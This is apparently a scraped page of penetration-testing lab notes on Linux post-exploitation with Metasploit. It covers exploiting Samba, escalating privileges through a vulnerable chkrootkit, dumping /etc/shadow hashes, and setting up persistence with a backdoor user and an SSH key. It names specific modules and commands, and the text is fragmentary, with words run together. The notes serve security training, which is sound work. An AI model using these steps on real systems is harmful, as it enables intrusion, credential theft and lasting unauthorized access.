🔬Linux Post Exploitation - MSF
Lab 1
Target IP:
192.215.55.3Metasploit
post/linux/gather/modules
ip -br -c a
eth1@if165838 UP 192.215.55.2/24 service postgresql start && msfconsole -qdb_status
setg RHOSTS 192.215.55.3
setg RHOST 192.215.55.3
workspace -a Linux_PostExpPerform an
nmapscan directly into MSF
db_nmap -sV 192.215.55.3139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)Exploitation
search type:exploit name:samba
use exploit/linux/samba/is_known_pipename
options
runUpgrade the
shell cmd/unixsessions to aMeterpretersession
Some local enumeration


Some Post Exploitation
Enumerate apps and services configuration files

Enumerate system environment variables

Enumerate network information

Check for protection/security systems

Enumerate the system

Check if the target is a VM or a container

📌 A Docker container can be exploited to break out of it and gain access to the host system.
Enumerate VM

Enumerate users history

Lab 2 - Privilege Escalation
🔬 Privilege Escalation - Rootkit Scanner
Target IP:
192.15.244.3Exploit a vulnerable Rootkit Scanner and escalate privileges to root user
SSH Credentials:
jackie:password
Perform an
nmapscan directly into MSF
Exploitation - SSH


Investigate the
/bin/check-downbinary

📌 The
/usr/local/bin/chkrootkit/chkrootkitbinary is executed every 60 seconds.
chkrootkit- locally checks for signs of a rootkitChkrootkit < 0.50 is vulnerable to local privilege escalation vulnerability
Check
chkrootkitversion
Background both the shell and the meterpreter session with
CTRL+Z
Privilege Escalation
The technique will depend on the version of the target Linux Kernel and the distribution version.
It is necessary to manually enumerate a privesc vulnerable program,
Chkrootkit v.0.49in this case

Lab 3 - Dumping Hashes
Target IP:
192.252.196.3Metasploit
post/linux/gather/credentials dumping modules
Exploitation
Upgrade the
shell cmd/unixsessions to aMeterpretersession
Linux user account hashes can be dumped using the privileged
rootuser.Terminate the shell session and background the meterpreter session.
Hashdump
📌 Linux password hashes are stored in the
/etc/shadowfile, accessible only by a user with root privileges.
In newer Linux, the hashed passwords are stored in the
/etc/shadowfile. In turn, the hashed password field in the/etc/passwdfile is filled with thexcharacter./etc/passwdis readable by all the users.Linux users' passphrases are hashed using the crypt function. The hashed passphrase follows a specific format:
$id$salt$hashedpassword
post/linux/gather/hashdumpmodule need to be run manually to dump the user account hashes and unshadow themA hash can be cracked (with
John the Ripper) or stored for later use


Some Post Exploitation
Enumerate ssh directories

Enumerate users' .ecrypts directories

Enumerate WiFi credentials

Check for PPTP VPN chap-secrets credentials

Perform SSH Persistence

Lab 3 - Persistence
🔬 Same as Privilege Escalation - Rootkit Scanner
Target IP:
192.101.97.3Metasploit
post/linux/gather/credentials dumping modules
Exploitation
Upgrade the
shell cmd/unixsessions to aMeterpretersession
Privilege Escalation
Upgrade the privileged session 3 to a
Meterpretersession
SESSION 4is a Meterpreter privileged session

Persistence
Create a backdoor user with administrative privileges that can be used to access the target system via SSH
❗ Changing user's password is a strong indicator of compromise, it should not be done.
Perform SSH Persistence with a Metasploit persistence modules

Access the private key and copy the content of the
id_rsafile and save it as a new file. Assign the appropriate permissions to the file
Exit the
msfconsolewith commandexit -y. All the sessions will be closed.
Authenticate to the target with the private key

Last updated
